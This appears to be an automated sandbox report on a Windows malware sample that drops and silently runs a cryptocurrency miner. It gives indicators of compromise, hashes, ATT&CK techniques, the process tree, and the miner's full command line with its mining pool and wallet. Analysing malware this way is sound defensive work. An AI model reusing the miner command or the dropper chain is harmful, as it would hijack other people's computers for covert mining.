73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18-02-2024 16:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
208	b2e.exe
3296	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3296	cpuminer-sse2.exe
3296	cpuminer-sse2.exe
3296	cpuminer-sse2.exe
3296	cpuminer-sse2.exe
3296	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2188-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 208	2188	batexe.exe	83
PID 2188 wrote to memory of 208	2188	batexe.exe	83
PID 2188 wrote to memory of 208	2188	batexe.exe	83
PID 208 wrote to memory of 4872	208	b2e.exe	84
PID 208 wrote to memory of 4872	208	b2e.exe	84
PID 208 wrote to memory of 4872	208	b2e.exe	84
PID 4872 wrote to memory of 3296	4872	cmd.exe	87
PID 4872 wrote to memory of 3296	4872	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Users\Admin\AppData\Local\Temp\8B77.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8B77.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8B77.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\93A5.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8B77.tmp\b2e.exe

Filesize
16.2MB

MD5
03bed2e8938fdcecc267829293734d8a

SHA1
3c018ecffd80ff8bfcad96363121b31b26cf29fb

SHA256
f962ca51fbad3d4a4bc30d8a62f1905eda959294b1425f816367b6c6c7e09bc1

SHA512
c4e8d6419b6be7ff83bb7184b891bb26cc45affd8834fd10eb206680298653119cc60c46fceeb7f2a211a3e7f072922419e56355e40a13ff3ad29a1e09f87774

Download Submit
C:\Users\Admin\AppData\Local\Temp\8B77.tmp\b2e.exe

Filesize
7.8MB

MD5
0c568c04ce0670a46677c85b5bd4d9d6

SHA1
bc09ed9947807a89462ebf465b31c3956b9dae3f

SHA256
26b36a10024cd3a01689479d18f0ad29c472a1fb26ceba7c580c967de7c516ae

SHA512
2edb607fe43e1ff208bbd24f558cabb4419a3996a271f784d5cdf2321ec4a481db68a99e2da8a742468917f96dbfd09beb4a576aabcc37769e7e537e6ebfe9f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\8B77.tmp\b2e.exe

Filesize
7.3MB

MD5
137ac4e230c54dd9feb0483eb3e51372

SHA1
9a8b36465972f81a1a3599371cdb33efcde00f09

SHA256
8bca7268d7026de0094db6bde4f91ccb9f3d8ded209edcfa23987c79b531b622

SHA512
113edd63a7c78ae5c9248eebd6747ff0b6ca38430d99876c9c2ec3164e256ea1c197d3d37141d382baab144d77fd1aa06ec7887d82d62f0e4d87df5c111ecfe7

Download Submit
C:\Users\Admin\AppData\Local\Temp\93A5.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
9b7005b0cd65f4de09b2b360f9c17ec5

SHA1
bf6e47256a84284f189fb4fde155ae10b18bd97d

SHA256
e2eee45e4abd2dc2f6a2c29b2012ce2e52f312dcc55056adef11d4678329fe2e

SHA512
9283de9512760a1bf98e90b18cf794d0e717b9b9d26739e7b80c77c93ad3dae30c58254c909ea45d0b483c4a41359efe3ece7d1407a81c43c582023cc45d705a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
5f465e35f638576034a5951df22186d5

SHA1
47dd3041b5ef05e12a30d756a94d07b5f062cc95

SHA256
93ff19608579031bde8453df5851528a3637308f4653d86d415884a3d486ee4c

SHA512
631004b276b02143e59ea2b89ff15799647221f14bfe3116333c00accb3e2914b14ef9e4d4c4829888004e388844e8b8a46c6f15aa5b3020cb1e032c64c8f31b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.8MB

MD5
dd7f5296c3449f5c0fb53e3bfd6dd22d

SHA1
c106c0163ca3694feaba4eb4283401f1825a6caa

SHA256
7c37152f3f6cd6b0b62d548b695b1581f1a4480a089236c2baa11cf142aa3c7f

SHA512
b2e69754372c6911dd7576d4a8d4c88062c69737a4eb5aec1ee7cc08dd76b8ee7d91fb3ee1f4622c661aac3c6318963302ba8038a68bf6716a506e49d5b7f053

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/208-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/208-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2188-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3296-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-45-0x000000005B2D0000-0x000000005B368000-memory.dmp

Filesize
608KB

Download
memory/3296-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3296-47-0x00000000010A0000-0x0000000002955000-memory.dmp

Filesize
24.7MB

Download
memory/3296-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3296-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3296-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download